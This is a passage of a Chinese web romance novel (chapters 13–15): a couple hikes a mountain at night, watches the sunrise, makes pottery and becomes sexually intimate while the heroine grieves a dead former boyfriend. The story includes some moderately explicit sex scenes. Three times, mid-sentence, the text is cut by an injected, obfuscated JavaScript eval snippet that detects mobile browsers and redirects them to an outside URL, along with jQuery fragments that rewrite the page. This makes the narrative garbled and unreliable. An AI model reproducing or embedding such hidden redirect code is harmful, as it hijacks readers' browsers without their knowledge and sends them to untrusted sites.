何筱舟想到他每日清单里的运动时长,虽然这几天可能没有时间严格保持,但他也一直有晨跑之类的,整个人看上去就一副作息规律很健康的样子,而她熬夜、加班,饮食不规律,有时还喝两杯,常年都是亚健康的状态。 她紧了紧背包带,“不然你晚出发一个小时?” 李既白:“?” 何筱舟少有这样活跃的时候,她做手势比了比两人接近二十公分的身高差,说:“比较公平。” “同行这么多人,沿主路走也很安全。” 李既白环顾四周,游客接连不断地往上山的路走去,他给何筱舟拨去电话,又发起了位置共享,等屏幕上出现两个交叠在一起的箭头,才说:“注意安全。” 她背一只纯黑色的登山包,穿最简单舒适的T恤和长裤,身影汇入人群后,很快消失不见。 他则找了处相对清净的位置,默默记下时间。 那头,何筱舟边走,边做实时转播。 “好多人啊。” “这里还有花田,可惜太黑了,看不清楚。” “喂……何筱舟,不要剧透。” 他声音听上去懒洋洋的,有点无奈的意味,倒不像在警告。 她忍不住轻笑了下。 李既白百无聊赖地坐在石墩上,翻出耳机。 他猜她可能已经走过平地区域,开始上台阶,听筒里除了嘈杂人声,还伴着明显气息不匀的呼吸声。 他静静听着,思绪飘飘然。 不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16621100|187888||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 由想起昨夜。 最开始他不太习惯睡觉时身边多出个人,刻意跟她保持了一定距离。全身只肩膀和她有接触,因为她睡着后没多久翻了个身,脸埋进他颈间。 她均匀的吐息近在咫尺,尽管房间里静谧到落针可闻,但他还是难以成眠。 比起被生理反应支配的剧烈绞缠,那样近似于事后温存的静谧共处反而更让他不知所措。 他以为这就是极致了,没成想,何筱舟突然缩进他怀里。 她大概做了什么不好的梦,额前渗出细密的汗。 整个人轻轻颤抖着,蜷缩成一团。 无法形容那一瞬的感觉。 他联想到某些贝类生物,无比坚硬的外壳里,是常年累月被沙砾碾磨的柔软血肉。他喉咙发紧,拥着她的后背轻轻拍了拍。 她大约也感受到了他的安抚,手搭着他的腰,腿一同攀上他的,如藤蔓植物般,几乎缠绕在他身上。 他随即更用力地抱住她,将她完整地裹来怀里。 这样拥抱着,不知过了多久,何筱舟渐渐平复下来,呓语出声。 “林zhan……” 李既白一开始没有听清楚她说什么。 他开了床头灯,腾出一只手抽纸巾给她擦汗,也因此借着灯光分辨出她的口型。 应该是某个人的姓名,尽管他不知道具体是哪个字。 但他瞬间冷静,隐约有怒气冒上来。 当时他不太明白这种情绪的来源。 而现在,李既白好像能回答在停车场争执的时候她问的第一个问题了。 大概是亲密行为衍生出的独占欲作祟,在安静相拥的深夜里加剧,又在突发变化时产生落差。 就像现在这样。 她的气息声响在耳边,实际距离却在渐次扩大,既近,又远,让他有种微妙的撕扯和剥离感。 李既白不是打破砂锅问到底的性格,遇到纠结的事,只要能扒拉出一点线头,就不会再感到困扰。 如果每一个行为都要深究底层逻辑,未免太较真。虽然眼下还是理不出更具体的因由,但这个结论已经足够说服他。 他看了眼时间,对何筱舟说:“我准备出发了。” 她随口应了一句,说:“我手机快没电了,先结束位置共享吧。” “你现在爬到哪了?” 地图上只有一片青绿色,她的坐标点嵌在其中,无从分辨具体位置。 “诶,不然我沿路给你留点记号?” 李既白听出她语气里隐晦的嘲意,弯了弯唇,“好啊。” “不行,破坏环境。” 她顿了顿,说:“山顶等你。”之后便挂了电话。 这个点还有游客在陆续进山,李既白随人群一起走过最后一段平地,经过她不久前说的那片花田,拍了张照。 山路不是特别陡峭,爬起来不费力。 走出去四十多分钟,李既白估摸了下时间,推测距离位置共享结束的地方没多远了。 她体力应该有一定的消耗,速度可能会降下来,他正考虑着要不要慢点走,忽听到身后一阵骚乱。 几个穿救援制服的男人拿着担架、救生毯之类的东西匆匆往上走,游客自发向两侧移动,让出来一条无阻挡的小路。 周遭的游客开始讨论上面发生了什么,七嘴八舌,说什么的都有。李既白跟着往旁边让了让,等救援队过去才继续走。 一开始他没太在意,直到人群里有人说“我朋友在上面看见了,说是个女生,跟同伴走散了,装备没带全,好像是失温了。” 李既白眼皮一跳,掏手机给何筱舟打电话。 只听到对方已关机的提示语。 13. The Eighth 何筱舟发现手机没电时,正站在半山的观景台。 这里可以俯瞰渝宿市区的全景,尽管现在黑黢黢的,但能看到断点成线的路灯,在黑夜里串联起城市脉络,像蛛网,也像星河。 她本想拿手机拍张照,却没想到,手机早已黑屏关机了。 她站在原地愣了几秒,打算跟路人借手机给李既白打个电话说一下,但又没记住他的号码。 权衡再三,只能停在观景台等。 山坳里无边无际的黑,看久了,好像要被吞噬。 何筱舟换了个站姿,改为后背倚靠着栏杆,仰头望向夜空,但那里同样漆黑无垠。 她瞬间想到很多。 小时候在院子里大树下乘凉踩月光;看过的《死亡诗社》里一群少年趁夜色偷偷溜出学校读诗;加班到深夜捧一杯热饮披着星辉回家;爱乐之城男女主角在星空下共舞。 无数个静谧却也轰然的时刻,还有...... 还有,困囿她最深的那个夜晚。 那次林湛计划带她上山露营蹲流星雨,她中途被上司紧急召唤,而他在送她回公司后,独自前往。 然后,再也没回来。 这些乱七八糟的散点,彼此毫无关联。 就和她的情绪一样,一时昂扬,一时又down进谷底,连带着她内心那片原野,也在不断重复着沃土变荒漠的过程。 “何筱舟!” 突如其来的一声呼喊将她拽出思维漩涡。 她循声看过去,是李既白。 是了,除了他还能是谁。 他的声音几乎盖过周遭所有的交谈声,吸引这附近的游客都朝他看过去。 他们不明白这个男孩为什么气喘吁吁,神色紧张。 何筱舟也不明白。 但她在这一刻,忽然有想落泪的冲动。 她嗓子发紧,看着李既白跑上观景台,最终停在距离她几步远的地方。他弓下身体,双手撑在膝盖上,喘着粗气,好像再也没有多余的力气支撑他走完剩下这几步路。 何筱舟掐紧指尖,不动声色调节好情绪,上前扶住他的手臂,低声问:“怎么了?” 他看上去消耗了太多体力,额前都是汗,声音也干涩得厉害,“你看到救援队上来了吗?” “没有,但听说了。” “好像那支队伍走的是没开发的路线,其中有个人掉进陷阱里受伤了。” 消息口口相传,中途绕个弯子可能就会出现偏差,这是她听到的版本,李既白知道的或许和她不一致。 何筱舟说完,反应过来,讷讷道:“你以为是我?” 李既白站直,从背包里拿了瓶水,一口气灌下大半,语速快且急:“你赢了,我认输,后面一起走。” 何筱舟哑然,“抱歉,我一时兴起,没想到会这样……” 她应该想到的。 她经历过的不是吗?大自然是最无常的。 愧疚感迎头冲上来,何筱舟看着男生额前濡湿的刘海说:“要不,你先换件衣服吧?” 细想有点好笑。 他们准备了替换的贴身衣物,暖宝宝,厚外套,竟忘了带充电宝。 说这话时,两人找了处无人注意的黑暗树丛,何筱舟在前,李既白隐在角落里快速褪掉身上汗湿的上衣。 “我可没忘。” 男生换完走出来,从自己的背包里取出充电宝递给她。 “啊?你带了?为什么……” “为什么没有早点告诉你?” “我在想,”李既白拉好外套拉链,低垂下头,“有人那么着急上来,是提前埋了宝藏吗?” 他的下颌隐在领口里,整个人被利落的黑色冲锋衣衬得冷酷又桀骜,语气却轻,尽管有点挖苦的意思在。 何筱舟感觉跟被猫挠了下似的,没什么所谓地笑了笑。 到达山顶的时候是凌晨四点半。 风刮得猛烈,游客四散在观景地附近,裹紧身上御寒的衣物,神色疲倦地等待最终时刻的到来。 天色已经由完全的黑转至深蓝,脚下就是起伏的山线,云雾由近及远铺开,仿佛触手可及。 渐渐的,云毯尽头出现一线橘色的光,将天地切分开。 这时,有人小声说了句,“来了来了。” 人们纷纷举起拍照设备,低言交流着,像是怕惊扰了天边的那一隙日光。 大自然不会偏心,她给予每个人同样的回馈。 太阳冒出云层的瞬间,何筱舟下意识屏住呼吸。 红橘一般的圆日,以肉眼可见的速度一点点爬升,光晕漫过云雾,铺洒到人间的每一寸土地。 云海翻滚着橘色波浪,蔓延到天边,与光源相接,像宽阔又璀璨的坦途,通往炙热的彼端,即使下方是深谷,仍让人有种想要跑上去撒欢的冲动。 就算在社交平台上看过再多有关日出的图文或视频,真正身临其境才会明白,是完全不一样的感受。 静默的气氛被晨辉点燃,周遭的惊呼和赞叹此起彼伏,当中最直击人心的当属一句气沉丹田的—— “我操!” 握草哥肩上扛着面旗帜,他好像急于寻求共鸣,全然不顾别人会怎么看他,拿出一个小音响举过头顶,大声问:“兄弟姐妹们,来首歌怎么样?” 基本都是年轻人,一呼百应。 他大概一早就想好要这么做了,直接按开播放。 前奏一响,就有人听出是什么歌了,隔着人群回应:“哥们,来劲!” 播到副歌那句“我不要在失败孤独中死去”时,有社牛人士开始大声合唱,更有甚者跳起舞来,浴在日光里,以自己最积极热烈的一面给朝阳回礼。 立于其间,受氛围感染,何筱舟忽而明白了林湛从前追求的是什么。 他由来热爱极限运动,追逐一切极致的体验,总说“人活一遭就是来玩的,玩就要玩得畅快尽兴”。 他读建筑学,课程和计算机系一样繁重,很多次两人在图书馆各自因为课业抓狂头秃的时候,他总会突发奇想地搞一些“花头”。 比如丢下做到一半的代码程序和建筑图纸,拉着她一起去赛车场跑圈、在livehouse里跟同频的人一起聊天蹦迪,或者只是分给她一只耳机,引着她腾出三分钟时间听一首《静止》。 他尊重规则,更尊重自身的感受。 何筱舟有时理解不了,但因为自己很难做到那样全然的放松,所以更加喜欢他身上那股劲。 她大多数时间都在奔波,上课、兼职、实习,就算能暂时从这类外放的活动里得到些能量,还是会因为未完成的事情焦虑。 林湛则完全相反。 也是到后来,何筱舟才恍然明悟,他们那时候的确很相爱,但也只是相爱,好像从没有真正承接起对方的灵魂需求。 一首歌播完,日头也彻底跃出了云层山川。 整晚的奔忙收获这片刻的精神满足,没有人探讨值不值得,只抓紧时间留下对美好时刻的纪念。 何筱舟也从背包里取出胶片机,往前走了几步,请李既白帮她拍一张。 虽然她是公认的上镜,但她平时并不怎么拍照。 想要留念不单是因为日出,还因为她在今天,在林湛离去后的第六年,才感觉自己真正读懂了一点他的内心世界。 闪光熄灭,视线重新聚焦的刹那,何 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16621101|187888||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 筱舟深深望着眼前的男生,朝着他奔过去。 这股子冲动没有落地,连同她整个人一起,被李既白接住,高高举起来。 她双手撑在他肩头,和他灼热的目光对上时,又有点想落泪。 好在,比起周围其他人的表达方式,拥抱和哽咽已经相当内敛,她不会被当成异类。 “哭什么?”李既白放她下来,拇指刮去她脸颊上的眼泪,倾身再次拥住她。 他个子太高,被他这样抱着,近乎是被缠裹。 温暖又密实。 “谢谢。”她的脸埋在他肩颈处,声音闷闷的。 男生笑了下,“拍照而已,不用谢吧?” “不是因为这个。” “噢。”李既白应了声,语气平淡,手上却愈发用力地抱紧她。 “你不问为什么吗?” “不想问,不重要。” 他肩膀退开寸许,温热的手掌托在她颊边,低头注视着她,认真道:“我只知道,现在和你拥抱的是我。而且,你知道吗,之前在观景台找到你的时候,我就想拥抱你了。” 他也是在那个时候突然想通的。 她梦里喊谁的名字都不重要,以后的事谁也说不准,把握住当下才是最重要的。 而他最擅长的,就是只考虑眼前的事。 何筱舟环住他的腰,吸了吸鼻子,竭力抑制住汹涌的泪意。 余光瞥见握草哥准备下山,她止住哽咽,连忙叫住他,问他能不能帮忙拍张合影。 握草哥很乐于助人,弄明白这个胶片机怎么用之后,积极地指挥着他们摆pose. “兄弟,你低一点,肩膀再靠近她一点。” 拍好后,他把胶片机递回,若有所思地打量着李既白,说:“哥们儿,咱俩是不是在哪见过,怎么瞅你这么眼熟呢?” 何筱舟抬头看了他一眼。 “是吧,”李既白没在意,跟他开玩笑,“好多人说我长得像XXX。” 握草哥连笑好几声,也没往深处想,说了几句客套话之后扛着旗走了。 何筱舟和李既白也准备下山。 天亮后,山路好走很多,比来时少用了半个多小时。 回程何筱舟开车,李既白坐在副驾,把之前她的摇滚歌单切掉,随意地问:“后面照片洗出来,能复制一张给我吗?” 何筱舟顿了顿,几秒后才伸手去拨档位,“好啊。” “等等。” 李既白探身过来,手肘撑在扶手箱上,问她:“你买了机票吗?” 何筱舟想起之前说过下了山就赶回津海的话,此时看着男生似笑非笑的表情,少见的在他面前感到有一点点吃瘪。 “还没有,”她也侧过身,凑近他,声音极轻,“你想我走吗?” “不想。” 李既白式坦诚,一如既往,直击靶心。 他仍是斜倚着的坐姿,嘴上说着挽留的话,神色却平淡,没什么多余的情绪,一副任由她自己做决定的样子,什么结果他都照单全收。 她抬起手,指尖抚上他的眉心,轻轻描摹着他眉形的走势,落到眼尾。 男生条件反射般眨了眨眼,睫毛划过,很柔软的触感,一点点延伸到心尖。 她勾起他的下巴,吻了吻他的唇角,“想这样吗?” 李既白捉住她作乱的手,试探着轻啄了下,又抬眼去看她的反应,见她不阻止,才完完全全捏着她的手抵在唇边。 等了好久,才说:“也不是。” 只是隐约有点不舍。 李既白没有说更多,他觉得她或许明白。 因为刚刚他在她眼睛里读出了类似的情绪。 14. Day Night 下山后没再安排其他的行程,在山庄里休整了半天。 主要还是因为夜爬完回来,情绪仍荡在日出带来的震撼余韵里,做什么都提不起兴趣。 所以一直到第二天醒来,何筱舟才有了假期即将结束的实感。 她没有假期综合征。 出现焦虑多半是因为这段时间过得太随性而群里工作相关信息一直不停往外蹦,让她有种其他人都在前行只有她原地踏步甚至在享乐的虚浮感。 李既白不一样,昨天回来后,他先是睡了一觉,剩下的时间基本都泡在健身房,大有一副要把前几天漏掉的运动量全部补回来的架势。 这会吃着早餐,他兴致勃勃说着渝宿市体育中心最近举行的足球联赛,问她有没有兴趣前往。 何筱舟没什么胃口,搁下只咬了几口的吐司,语气平淡道:“后天我就回津海了。” 李既白脸上的笑意敛了些,“嗯。” “今天去做陶艺怎么样,做成了或许能送个临别礼物给你。” 李既白又扬起唇角,“好啊。” 何筱舟没忍住也笑了。 他还真是喜怒都形于色。 在社交软件的同城频道搜索一通,最后选了家支持寄送的工作室,在城市另一端,跟山庄的位置连成了对角线。 到时刚过十点钟,店主才开始营业,女孩扎双麻花辫,个子也小小的,穿甜美系的荷叶边连衣裙,力气却很大,手里搬着陶泥,微笑着打招呼:“这么早哇。” 女孩引他们在靠窗的位置坐,“两位想做什么类型的?” 何筱舟简单说了下自己的设想,“大概是个风铃,招财猫或者小狗外形,好做吗?” 算是相对简单的,整体圆筒状,勾出曲度当作头和身体,用陶土捏出手脚、耳朵,再穿线挂铃铛或者陶瓷薄片就可以了。 李既白在店里放置成品的展示区域逛了一圈,选了一只看起来比较普通的盘子,但配色和造型都在何筱舟的审美点上,她更喜欢简约风格。 “送我?” 李既白将刚拍的照片放大,“你觉得怎么样?” “还不错,”何筱舟凑过去看了一眼,补充,“看你技术怎么样了,如果成品不好,我会拒收噢。” 男生笑开:“我尽力。” 店主简单说了下要领和拉胚机的使用技巧,把发挥空间留给他们。 但是等实际上手了,才知道其实没那么容易。 沾了水的陶泥很难控制,在旋转的拉胚机上有它自己的行动轨迹,完全不得章法,更别提搓出想要的形状了。 两个人各有各的狼狈,何筱舟指缝都是泥水,偏偏这时候脸侧发丝的存在感变得异常明显,很痒,下意识想要挠一下,手指都快挨上皮肤了,又生生顿住。 转头一看,李既白也没好到哪去,长裤的膝盖位置不知道什么时候沾了些泥渍。 不过相比起何筱舟,他的动作还算从容,手掌拢住湿泞的陶泥,耐心地,慢慢摊开形状,再抠出规整的中空,便稍有雏形了。 男生的侧脸极度认真,被穿过落地玻璃窗的阳光笼罩着。 空气里的细小微尘都清晰可见,看上去就像旧电影里只留存于泛黄记忆中某一帧模糊的剪影,与过往林湛去图书馆陪同她时在一旁专心写歌词的侧影重叠。 失神一瞬,手掌拢住的招财猫头被按出指印,连同上方稍大点的身体也朝一侧倾斜,瞧着有塌陷的趋势。 何筱舟索性停下,侧过身,脸贴上男生的肩头,闭上眼轻轻蹭了蹭。 李既白疑惑:“怎么了?” 她声音凉的像浸了水的陶土,“脸上有点痒。” “你笑什么?”何筱舟转回去,注意到他唇角的笑意,随口一问。 “可以说吗?” 他眼尾上挑,笑意似柔暖的光线般倾泻,“感觉你刚刚那样有点像只赖人的小猫。” 跟她平时完全不一样,很反差的可爱。 “不过,又感觉下一秒就会抓人。”李既白说完,眼睁睁看着她把已经接近成型的素胚按成一滩泥,又这样补了一句。 她没理。 以前也有人说过类似的话,但是形容她为惊悚片里只在午夜出现的黑猫,象征危险,会给主角带来厄运。 “为什么要重新做?” 李既白在给盘子加装饰,用裁刀切出几枚大小不一的星星,见她似要打算返工,好奇道。 “刚才做坏了。” “有瑕疵更生动不是吗?” “不是。” 他往盘底铺星星,问她:“你是完美主义者吗?” 何筱舟手指一顿,“大多数时候是。” 她看了他一眼,没有解释更多,转而问起他正在捏的形状看起来有点奇怪的装饰物,轻巧地别开了话题。 “是一艘小船,你的名字。” 男生答完,随即有点挫败,“不像吗?” 何筱舟面无表情地点评,“是吗?我还以为是枯树叶。” “……” 等素胚干透了之后上色,店主建议他们选比设想颜色浅一些的,因为烧出来之后颜色会发生变化。 李既白最后挑了饱和度相对低的颜色,涂完之后煞有介事地拍了张照。 何筱舟重做之后,原先的风铃招财猫变成了小狗扑草地摆件。李既白问她怎么改了,她笑了笑没作声,心道,以此来回报你刚刚说我是猫。 很奇怪,和他待在一起,她好像变得幼稚很多。 这样轻松的假期即将走向尾声,何筱舟竟生出些隐晦的依恋和不舍。 上色完毕,李既白给她看成品。 通体呈很淡的蓝色,晕成波纹状,浮几颗黄色星星,角落里藏一叶扁舟。 “怎么样,收吗?” “那你先说为什么做成这个样子。” “也没什么特别的,就是突然想到一句诗,满船清梦压星河。” 何筱舟笑了下,抓起柜台上的笔填地址。 落笔的时候,思绪转了个弯,最后写了公司附近丰巢收货柜。 公司在津海中心商务区,周边有很多写字楼和商圈,找人堪比大海捞针。 即使不认为李既白会做这么没品的事,但她还是习惯性地想要规避所有可能会出现的风险。 离开工作室的时候将近黄昏了。 晚饭在市区的江景餐厅吃,对岸即是渝宿最出名的古建筑群,楼体层层叠叠,外圈燃明黄色灯,远远看去更像模型,笼在夜色的保护壳里。 回程李既白开车,播的歌单里基本都是陶喆和方大同的单曲。 何筱舟落了车窗吹风,闲闲搭话,“你好像很喜欢R&B.” “嗯,感觉很放松,”李既白瞥了眼后视镜,“你呢,喜欢摇滚?” “喜欢,但不常听。” 这是真话。她更多时候会想要保持安静和理智,摇滚乐里世外桃源一般的氛围,可能会催使她摒弃理性,偏离轨道。 林湛以前问过她,所谓的轨道通往哪里,由谁建立,又由谁规定? 她没有答案。 归根结底,框住她的人,或许是她自己。 “我以前陪同学去过音乐节,赶上下大雨,草地泥泞得不像话,但是一群人完全不在乎,跟着音乐踩着泥巴蹦……” 说着,李既白往何筱舟那边看了眼,然后忽地噤声。 因为注意到她歪着脑袋已经睡着了。 他把导航音量调到最低,车窗关上,只留一道细缝,速度也降下来,尽量开得平稳。 通往郊区的一路上没什么车,过半个多小时,车子开进停车场里。 她应该睡得不太舒服,头快要跌出座椅范围。 李既白犹豫了下,绕到副驾打开车门。 每次抱她,都觉得她太瘦。 这次却没有之前轻松,因她穿的衣服,材质很光滑,托住她腿弯的手臂得勾紧一点。 同时也得当心,不要吵醒她。 她大概也有所觉,迷糊伸出手,攀住他的脖颈。 香气弥散开来,像捧着一丛铃兰花。 李既白低头看了眼,这时才认出何筱舟穿的是在桐陵买的那件吊带裙,他当时建议她把头发挽起来,而今天她的长发就是束着的,在脑后挽成低髻。 他这样乱七八糟地想着,心里暗道今天回房间的路怎么这么远。 * 何筱舟是在身体舒展开的时候彻底转醒的。 其实她一路上有朦胧感知到轻微的颠簸,像躺在湖面的小船里,摇摇晃晃,但身下的臂膀温厚又有力,让她不至于全无依凭。 睁开眼便看到近在咫尺的这张脸。 何筱舟张了张口,下意识想喊某个名字。 但止住了。 因为李既白可能预判到她的意图,牢牢盯着她,冷静地沉声开口:“你现在最好什么也别说。” 客厅里开了灯,光线漏进这间卧室,被门斜斜裁开,只蔓延至门口,而他们被黑暗完全笼罩。 他的手还被她攥着,另只手撑在床沿上,姿态别扭,俯身看着她时却极有一种压迫感。 何筱舟反应过来,一点都没在意他的凶戾,只觉他在虚张声势,松开手,手臂绕上去。 果然,他的耳朵和脖颈都在发烫。 她仰起上半身亲了亲他的喉结,逗他:“如果我是想谢谢你抱我回来呢,能说话吗?” 李既白身体一僵,伸手去拽她的小臂,“你平时都这样表达感谢?” “那倒没有,只这么谢过你。” “是吗。”没什么情绪的一问,明显不信。 “唔,我忘了,也这么谢过……” 她故意停顿了下,其实也没有后续,但如她所料,男生眼神一黯,忽地俯下身,重重堵住她的唇。 力道太大,磕得她牙齿一疼,“嘶……” 李既白也有所觉,身体后撤,手指抚上去,轻轻揉了揉她的唇瓣,“抱歉。” 何筱舟开了灯,手上用力,想要拽着他在床边坐下。 男生指了指裤腿,“脏。” 她松开手,“那你先去洗澡。” 他眼神变得复杂,拙劣地欲盖弥彰,“嗯,你好好休息。” 她有些好笑地看着他拐出房门。 没多久,有水声从浴室传来。 暧昧的空气乍然抽离,何筱舟躺在床上,望着门口被切分的灯光,忽有置身湖底之感。 昏暗的空间如同湖水一般挤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16621102|187888||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 压着她,而她只能窥见这濛濛的一线光亮。 静默许久。 等情绪消解完毕,何筱舟抬手按床头座机叫了客房服务。 特意让工作人员晚点上门,冲完澡,酒也刚好送到。 何筱舟提着冰桶在沙发上坐下,问旁边的李既白,“喝点吗?” 男生换了套衣服,白色T恤在灯光下质地偏柔软,蓬松微卷的黑发也已经干透,整个人清爽洁净如夏日里刚被雨水冲刷过的青绿树冠。 “好啊。” 何筱舟瞧着他,慢条斯理地往杯子里投冰块。 “还记得我说过什么吗?” “咚”的一声,像某种暗号,伴随酒液滚流的声响,空气渐渐变得粘稠。 “嗯?”李既白拿过属于他的那一杯,轻抿了一口。 何筱舟握住他空闲的那只手,引他去触碰不久前被撞疼的上唇,“道歉呢,要落到实处……” 李既白放下酒杯,拿镊子夹起一小块冰,直直贴来她的唇边,“这样会好点吗?” “你故意……” 她被突如其来的凉意激得一颤,张口衔住那块冰,侧过身报复性地咬他的下唇,“不好。” 李既白闷哼一声,箍紧她肩头稍稍拉开。 旋即,位置调转。 他很轻松地抱起她,放她坐在膝头。 “你确定吗?”他伸手掐住她的下颌,目光沉沉地注视着她。 被冰块渡上些许凉意的指腹贴着皮肤,激凉。 何筱舟明白他的意思,但没回答。 手移到他的胸前,以掌心感知他沉稳而有力的心跳,然后,她反问:“你确定吗?” 不需要过多言语,眼神交汇即是在互换答案。 主导权转移,李既白用虎口控住她的脸颊,轻而密地亲吻她,舌尖试探着擦过她的唇缝。 过程中,何筱舟始终睁着眼,看他浓墨般的眉,看他俊挺的鼻梁,看一切与林湛相像的细枝末节。 视线落到他轻颤的睫毛,她心口陡生一股闷窒感,搂紧他激烈回吻,伸手去剥他的T恤。 身体腾空而起,是李既白抱起她走向卧室。 她重回那片幽暗湖底,但因为男生滚烫的体温,竟觉这湖水好似也有了热度。 拥抱不再有阻隔,是真正严丝合缝的遮蔽与覆裹,他的怀里总是这么熨帖,让她无由心安。 何筱舟骤生一种微妙的满足感。 跟她和luis之间不同,luis与林湛的共同点约等于无,所以她更多是为单纯排解需求,而此时,她的生理和心理层面都收获了久违的正向反馈,且体验值逐渐拔高、持续攀升。 只是,前摇过于漫长了。 像解最后一道大题,仅仅通晓公式显然不够,他在谜底周围徘徊、试探,只能从最初级的亲吻和触碰入手,却毫无章法,反复流连在她耳后与颈间。 何筱舟有些难耐地支起一侧手肘,揉了揉他脑后的发茬,“要不然,我来?” 男生眉眼间霎时涌上些许窘迫的神色,抓着她的手,像要急于证明什么,“我不是不行……” 她挑挑眉,手指绕着轮廓虚虚地转了一圈,“那是不敢吗?” 何筱舟低估了李既白。 他或许只是需要一个契机,一个支点,而她的挑衅,无疑给他递去这把开启魔盒的钥匙。 最后一点障碍物——是她垂落的潮湿发梢,被修长的手指扫开,替换为温热的遮覆。 扶在他颈后的手掌也落了空,是他低下头做出新的尝试。 空气逐渐升温,她也是。 但这暂时性的纾解显然不够,反而像在不停地加助燃剂,导致深处的火苗越烧越旺。 偏他耐心的很,甚至抽空抬眼,几分认真地寻求共鸣:“你知道我想到了什么吗?像今天做陶艺,渗到手指缝里。” “你觉得呢?” 何筱舟倏然脱力,倒回床上。 救命,她从没听过这样的说法。 救命? 救命!她以前甚至不理解为什么要用“救命”这个词来表达惊叹或者是某些难以言喻的感受。 但是,远远不止于此—— 他好像找到了解题的关窍,却不急着揭晓谜底,只俯下身来含住她的耳垂,含糊地问:“是这里吗?” 何筱舟抬起手挡在额前。 她没有回答,或者说,她用另一种方式回答了。 李既白亲了亲她的鼻尖,取来一枚。 他或许很注重她的体验,手掌撑在她脸侧,观察着她的反应,轻而慢地抵进,时不时在她的脸颊或肩头落下一吻。 像在经历春雨涨潮,呼吸间都是草木潮湿而微苦的气息,浸得心口发涨。 何筱舟以为起先的满足感会更甚,但没有,毫无预兆地被无由的自厌替代。 她抱紧李既白的后颈,像抓住湖水里唯一能借力的水草般用力。 男生察觉到她的异样,来寻她的唇,带点安抚意味地吻住她,“要停下吗?” 何筱舟摇摇头,舌尖搅着他的纠缠,直至因短暂缺氧而分离。 她大口呼吸,埋首于他颈间,颓然地想。 就这样吧。 她不会再好了。 15. Last Day 何筱舟睡了很安稳的一觉,没有做任何梦。醒来时,她侧躺着,被李既白严实地圈在怀里。 他们像两块嵌合的拼图,完全接纳彼此的锯齿,也一并填补凹陷。 男生懒洋洋地对她笑,“早啊。” 他不知什么时候起床洗漱过,吐息间有清冽好闻的香柠薄荷味道。 五秒。 不,十秒。 何筱舟有些眷恋地重新阖上眼,等默数结束,强行从他怀里撤离,翻了个身,“早。” 李既白撑高上身,越过她的肩膀,下颌贴过来蹭了蹭她的颈窝,“今天想做什么?” 老实说,没有想法。 一路过来多是他在提建议。 何筱舟瞥见床头敞着的长条纸盒,扬了扬下巴,逗他,“要不把剩下的用完?” 李既白旋即抵住她的后腰,“你确定吗?” 男人在这方面大概都有天赋异禀的执行力。 实际上昨晚真正的交锋是第二次,他用刚学到的浅薄技巧调动她,动作仍然生涩,但又恰到好处,每一次冲撞都直抵核心。 她像条鱼,一次次随浪潮搁浅至他的岸滩。 何筱舟本不是需求旺盛的人,但这样生理和心理的双重餍足,她已经很久没有过,不得不承认,有点食髓知味的贪恋。 男生凑过来吻她,她配合地仰颈,他双唇落下的轨迹便逐渐蜿蜒至锁骨。 打破旖旎气氛的是她空腹的抗议。 她睁开眼,听到李既白轻笑了下,“饿了?” 硌在腰后的硬感消失。 何筱舟回头,李既白已经下床。 他拣起地上的长裤套上,以眼神询问她:上衣呢? 何筱舟觉得好笑,朝他勾了勾手指。 “怎么了?”他在床边坐下,“想吃点什么,我叫早餐。” 目光落在他线条漂亮的腹肌上,何筱舟手指探过去,轻轻刮过匀称的肌肉群,自然而然联想到,绷紧状态下的触感。 心猿意马地揩了把油,她躺回去,说:“你的衣服在沙发上。” 一切混乱的起点。 李既白大概想到什么,白净的脸微微泛红。 脱离那个气氛,他好像很难放得开,何筱舟笑了笑,绕开话题,“我想吃三明治,再来杯美式。” “加冰吗?”提及冰块,他耳根又红了几分。 “当然。” “好。” 在客厅吃完早餐,何筱舟回房间换掉皱的不像样子的睡裙,套上衬衫和半身裙。 出来一看,李既白正站在门口,也换好了衣服,同色系的衬衫长裤,俨然是情侣装。 何筱舟想起刚到桐陵时他说的话,心念一动,“即兴游戏最后一关。” “可以做我的一日男友吗?” 他伸出藏在身后的手,递来一枝红艳欲滴的玫瑰,笑道:“那从收下信物开始吧。” 何筱舟接过玫瑰,用随身携带的胶片机拍了张照,然后轻轻揪下最外层的一片花瓣,塞进衬衫的左侧口袋里。 “好了,这样整天都带在身上了。” 先去还车。 跟工作人员说明了换备胎的情况,因为前期租车签合同的时候有这方面的条款,按流程补了费用,很顺利地办完了手续。 从租车点出来,他们手牵手站在人来人往的街头,忽然不知道该去哪。 渝宿最近正升温,还没到正午,日光就已经相当毒辣,直到拐进就近的地铁站,被冷气包围,才觉得稍微缓过来点。 站台上清一色的年轻学生,何筱舟看了眼手机,恍觉今天是周六。 附近正好是大学城,与李既白站在其间,她忽然就感觉好像回到了从前,她和林湛每周末的约会时间。 